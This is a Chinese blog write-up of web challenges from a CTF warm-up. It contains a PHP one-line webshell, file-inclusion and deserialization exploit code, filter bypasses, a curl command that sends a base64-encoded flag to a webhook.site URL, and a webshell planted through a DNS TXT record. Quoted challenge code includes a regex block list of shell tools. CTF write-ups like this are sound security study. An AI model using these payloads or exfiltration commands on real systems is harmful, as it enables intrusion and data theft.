SDPCSEC2025热身赛

本文最后更新于 2025年12月25日 上午

ez_upload

php图片马

上传一张图片然后拦截请求,修改文件后缀名及内容,植入一句话木马

1
<?php @eval($_POST['pass']);?>

rHeEsApDoEnRsSe

根据题目名及页面提示,flag在响应头里面,使用curl命令

1
curl -I http://175.27.251.122:32999/

curl 是一个功能强大的命令行工具,主要用于在网络上传输数据,支持多种协议(如 HTTP、HTTPS、FTP、SFTP 等),常被用于测试接口、下载文件、发送请求等场景。以下是其核心用法总结:

  1. 基本请求
    • 发送 GET 请求(默认):curl [URL],如 curl https://example.com
    • 发送 POST 请求:curl -X POST [URL],可搭配 -d 传递数据,如 curl -X POST -d "name=test" https://example.com/api
  2. 设置请求头-H 指定请求头,如模拟浏览器:curl -H "User-Agent: Mozilla/5.0" https://example.com
  3. 下载文件
    • 保存为指定文件名:curl -o 文件名 [URL](如 curl -o file.zip https://example.com/file.zip
    • 自动以远程文件名保存:curl -O [URL](URL 需指向具体文件)
  4. 处理认证
    • 基础认证:curl -u 用户名:密码 [URL]
    • 携带 Cookie:curl -b "cookie1=value1" [URL],或保存响应 Cookie 到文件:curl -c cookies.txt [URL]
  5. 其他常用选项
    • 显示详细请求过程:curl -v [URL]
    • 跟随重定向:curl -L [URL]
    • 限制传输速度:curl --limit-rate 100k [URL](如限制为 100KB/s)
    • 请求头:curl -I

ez_include

首先发现只有一行代码

1
include($_GET['zpf'])

include可以包含文件,如txt文本格式,并把包含的文件当作php代码解析执行。

首先尝试利用?zpf=/etc/passwd 读取系统目录,但并没有发现什么有价值的信息。

下面尝试利用?zpf=php://filter/convert.base64-encode/resource=index.php 获取源码

经过Base64解码后得到源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
$a=$_GET['zpf'];
if(!isset($a)) {
echo("include(\$_GET['zpf'])");
}else{
include($a);
$a='';
}


$pattern = '/(union|cat|tac|more|less|ls|tree|env|head|tail|nl|sed|awk|grep|strings|od|xxd|curl|wget|nc|netcat|python|perl|ruby|bash|sh|zsh|ksh|tcsh|cmd|powershell)/i';

if (preg_match($pattern, $_GET['yzx'])) {
die('Dangerous command detected!');
}else{
system($_GET['yzx']);
}

?>

这里我们发现了非常关键的system函数,但程序对yzx进行了正则过滤,所以我们考虑绕过正则过滤,执行命令

这里我使用了转义符号绕过,成功读取了目录拿到了flag


常用的伪协议

  • php://filter 读取文件源码 (协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码)
  • php://input 任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据。
  • data://text/plain 任意代码执行
  • zip:// 配合文件上传开启后门

参考文献

正则过滤绕过

文件包含漏洞

貌合神离

md5大杂烩

参考文献

MD5绕过

PHP中MD5和sha1绕过方式总结 - dre0m1 - 博客园

总结ctf中 MD5 绕过的一些思路_ctf md5绕过-CSDN博客

CTF中关于md5的一些总结 - Dr0n’s blog

空谷无音

首先发现命令执行漏洞,但是没有回显,结合题目描述,考虑用其他方式进行外带

  • 重定向到文件

我们可以用流重定向符号来将输出内容重定向到文件中, 在通过浏览器进行下载

1
cmd_here > 1.txt

然后就可以通过访问 1.txt 获取到输出内容了

  • 通过 curl 外带

我们可以通过 https://webhook.site/ 来进行数据外带, 我们可以拿到这样一个链接

1
https://webhook.site/b69846b7-ea9a-42f6-8e7a-04f80fdf35eb

此时这个路径下的所有请求都会被记录

于是我们可以通过shell指令:

1
curl https://webhook.site/b69846b7-ea9a-42f6-8e7a-04f80fdf35eb/`cat /flag | base64`
  • DNSlog外带

参考文献

DNSlog外带

应声

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);

$Pr0 = $_POST['Pr0'];
$Acc1o = $_GET['Acc1o'];
if($Pr0 === 'Pr0' && $Acc1o === 'Acc1o'){
eval($_POST['cmd']);
}
}

观察代码,发现要求POST Pr0=Pr0,GET Acc1o=Acc1o,然后执行cmd中的代码。

1
curl -X POST "http://175.27.251.122:33036/?Acc1o=Acc1o" -d "Pr0=Pr0&cmd=system('cat /flag;');"

参考文献

RCE漏洞详解

PHP数据接受变量

杰艾思不想让你看

首先发现前端无法查看源码,而提示就在源码里面,所以使用burp绕过前端获得源码。

在源码中发现一个文件S3crett.php,打开得到一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file(__FILE__);

function safe_eval($cmd) {
$pattern = '/flag/i';
if (preg_match($pattern, $cmd)) {
return "no hacker!!";
}
try {
eval($cmd);
} catch (Exception $e) {
return "error " . $e->getMessage();
}
}
if ($_POST['cmd'] ?? false) {
$cmd = $_POST['cmd'];
$result = safe_eval($cmd);
echo $result;
}
?>

这里我们发现它对cmd进行了正则过滤,不能出现flag

首先考虑字符串拼接绕过,产生报错。

再尝试使用base64编码绕过cmd=system(base64_decode("Y2F0IC9mbGFn")); 成功拿到flag

六层妖塔

本题考查HTTP头部伪造技术

  • 伪造本地IP:X-Forwarded-For: 127.0.0.1
  • 伪造页面来源:Referer: https://服务器要求的合法来源域名/
  • 伪造浏览器:
  • 伪造用户身份:Cookie: User=Acc1oFl4g
  • 伪造代理服务器:Via: 1.1 123.56.103.169 (Proxy/1.0)

ez_sssseria

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php
highlight_file(__FILE__);
error_reporting(0);

// flag in /flag

class cos1ne {
public $username;
public $role;
public $data;

public function __call($name, $arguments) {
if ($name === "flag2") {
if (isset($this->role) && is_callable($this->role)) {
($this->role)();
}
}
}
}

class ziran {
public $username;
public $role;
public $data;
public $temp;

public function __call($name, $arguments) {
if (isset($this->data)) {
$this->data->flag2();
}
}
}

class Pr0 {
public $username;
public $password;

public function __toString() {
if (isset($this->username) && isset($this->password)) {
$this->username->flag1();
}
return "ok";
}
}

class yi {
public $username;
public $role;
public $data;

public function __invoke() {
if (method_exists($this->username, 'Acc1oFl4g')) {
$this->username->Acc1oFl4g();
}
}
}

class Acc1o {
public $username;
public $role;
public $data;
public $key;

public function __construct($username) {
$this->username = $username;
$this->role = "user";
$this->data = null;
}

public function __destruct() {
if(md5($this->data) != 'dislike') {
return 'nice';
}
}

public function Acc1oFl4g() {
if ($this->key) {
echo(file_get_contents($this->key));
}
}

}


if (isset($_POST['data'])) {
$data = $_POST['data'];
unserialize($data);
}
?>

首先,我们快速浏览一下各个类的功能和可能的利用点:

  • cos1ne: 有一个 __call 魔术方法。当调用一个不存在的方法 flag2 时,它会检查 $this->role 是否是一个可调用对象,如果是,就执行它。这是一个典型的 “任意代码执行” 跳板。
  • ziran: 也有一个 __call 魔术方法。当调用一个不存在的方法时,它会调用 $this->data 对象的 flag2 方法。这可以用来链式调用。
  • Pr0: 有一个 __toString 魔术方法。当这个类的对象被当作字符串处理时,它会调用 $this->username 对象的 flag1 方法。__toString 是反序列化中非常常见的触发点,因为很多操作(如 echo、拼接字符串)都会隐式地调用它。
  • yi: 有一个 __invoke 魔术方法。当尝试将这个类的对象当作函数来调用时,它会检查 $this->username 对象是否存在 Acc1oFl4g 方法,如果存在,就调用它。
  • Acc1o: 这是最终的目标类。
    • 它有一个 Acc1oFl4g 方法,可以读取 $this->key 指定的文件内容。我们的目标就是让这个方法执行 file_get_contents('/flag')
    • 它还有一个 __destruct 魔术方法。当对象被销毁时,它会检查 md5($this->data) 是否等于 'dislike'。这个 __destruct 方法本身没有直接的危害,但它是反序列化链的起点,因为反序列化后,对象会被自动销毁,从而触发 __destruct

关键问题: Acc1o 类的 __destruct 方法似乎只是做了一个判断,并没有触发任何其他魔术方法。我们如何从这里开始,构建一条能够到达 Acc1oFl4g 方法的调用链呢?

让我们换个思路。如果 $this->data 本身是一个对象呢?当 md5($this->data) 执行时,md5 函数需要一个字符串,所以它会尝试将 $this->data 对象转换为字符串,这就会触发该对象的 __toString 方法!

构建利用链

我们的目标是调用 Acc1o 类的 Acc1oFl4g 方法,并让它的 $key 属性为 /flag

我们可以构建如下的调用链:

  1. 起点 (Acc1o->__destruct): 反序列化后,Acc1o 对象被销毁,触发 __destruct
  2. 触发点 (Pr0->__toString): 在 __destruct 中,md5($this->data) 被执行。我们让 $this->data 指向一个 Pr0 对象。md5 函数需要字符串,因此调用 Pr0 对象的 __toString 方法。
  3. 链接着 (ziran->__call): 在 Pr0->__toString 中,代码尝试调用 $this->username->flag1()flag1 方法不存在,所以会触发 $this->username 对象的 __call 方法。我们让 $this->username 指向一个 ziran 对象。
  4. 链接着 (cos1ne->__call): 在 ziran->__call 中,代码调用 $this->data->flag2()flag2 方法不存在,所以会触发 $this->data 对象的 __call 方法。我们让 $this->data 指向一个 cos1ne 对象。
  5. 链接着 (yi->__invoke): 在 cos1ne->__call 中,代码检查 $this->role 是否是可调用的,并执行它。我们让 $this->role 指向一个 yi 对象。将对象当作函数调用会触发其 __invoke 方法。
  6. 终点 (Acc1o->Acc1oFl4g): 在 yi->__invoke 中,代码调用 $this->username->Acc1oFl4g()。我们让 $this->username 指向我们最初的那个 Acc1o 对象(或者另一个配置好的 Acc1o 对象)。这个方法会读取 $key 文件。

链条总结:Acc1o->__destruct -> Pr0->__toString -> ziran->__call -> cos1ne->__call -> yi->__invoke -> Acc1o->Acc1oFl4g

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

class Acc1o {
public $username;
public $role;
public $data;
public $key;
}

class yi {
public $username;
public $role;
public $data;
}

class cos1ne {
public $username;
public $role;
public $data;
}

class ziran {
public $username;
public $role;
public $data;
public $temp;
}

class Pr0 {
public $username;
public $password;
}

// 创建 Acc1o 主实例
$acc = new Acc1o("user");
$acc->key = "/flag"; // 或 "/etc/passwd" 测试

// 创建 yi,引用同一个 $acc
$y = new yi();
$y->username = $acc;

// cos1ne -> role = yi
$c = new cos1ne();
$c->role = $y;

// ziran -> data = cos1ne
$z = new ziran();
$z->data = $c;

// Pr0 -> username = ziran
$p = new Pr0();
$p->username = $z;
$p->password = "123";

// 关键:Acc1o->data = Pr0,这样 __destruct 时会触发 __toString
$acc->data = $p;

// 序列化主对象
$payload = serialize($acc);
echo "Payload:\n";
echo $payload . "\n\n";
echo "URL Encoded:\n";
echo urlencode($payload) . "\n";

参考文献

反序列化漏洞详解

fuzzing what?

根据题目名称应该是要进行爆破

TheKingOfDuck/fuzzDicts: You Know, For WEB Fuzzing ! 日站用的字典。

参数爆破 filename=1时获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
if(isset($_GET['filename'])) {
highlight_file(__FILE__);
}

$a=$_POST['a'];
$b=$_POST['b'];
if(isset($_POST['a']) && (isset($_POST['b']))) {
if(file_get_contents($a) === 'hello, hacker') {
if (!preg_match('/hello, hacker/', $a)) {
include($b);
}else{
echo('no you r not hacker');
}
}else{
echo('what?');
}
}
?>

!preg_match('/hello, hacker/', $a) 时触发文件包含漏洞,但前面对a进行了正则过滤

data:// 伪协议允许你在 URL 中直接嵌入数据。当 file_get_contents 读取它时,它会将嵌入的数据作为文件内容返回。

a=data://text/plain;base64,aGVsbG8sIGhhY2tlcg==

ez_blog

参考文献

CTF之文件上传(.user.ini)_ctf web2-CSDN博客

移花_challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$Pr0 = $_GET['Pr0'];
$mode = $_GET['mode'] ?? 'ping';

if (strpbrk($Pr0, "&;`|*?()$\\\x00") !== false) {
exit('这个不可以哦~');
}

if (stripos($Pr0, '.php') !== false) {
exit('这个也不可以哦~');
}

$Pr0 = escapeshellcmd($Pr0);
$Pr0 = str_replace('\>', '>', $Pr0);

if ($mode === 'nslookup') {
$cmd = "nslookup " . $Pr0;
} else {
$cmd = "ping -c1 " . $Pr0;
}

echo shell_exec($cmd);
?>

有nslookup和ping两种模式,执行Pr0中的参数,但是对Pr0进行了十分严格的过滤。

首先试试命令拼接,虽然特殊符号被过滤了,但是可以尝试用%0a和%0d分隔命令,不过实测不行。

1
2
$Pr0 = escapeshellcmd($Pr0);
$Pr0 = str_replace('\>', '>', $Pr0);

再分析这段代码,题目保留了>,允许我们将命令执行的结果重定向到一个文件(但不允许.php)。

那么重定向的意义是什么,怎么才能执行我想要的命令?思路断了

后续我又结合nslookup的特性尝试了dnslog外带,不过还是因特殊字符过滤而失败。

后来后来,一道远程文件包含的题目给了我思路,有没有办法让ping或者nslookup的结果里带有一句话木马?

只要在域名的解析中添加一条TXT记录就行了!

1
http://175.27.251.122:33640/?mode=nslookup&Pr0=-type=TXT%20webattacktest.libfsx.org

下一步绕过.php过滤,重定向到ma.php文件

1
http://175.27.251.122:33640/?mode=nslookup&Pr0=-type=TXT%20webattacktest.libfsx.org%3Ema.p%27%27hp

成功!

参考文献

nmap和escapeshellarg()函数、escapeshellcmd()函数的RCE使用

PHP escapeshellarg()+escapeshellcmd()绕过

DNSlog外带


SDPCSEC2025热身赛
https://www.sunynov.top/2025/11/19/SDPC2025热身赛/
作者
suny
发布于
2025年11月19日
许可协议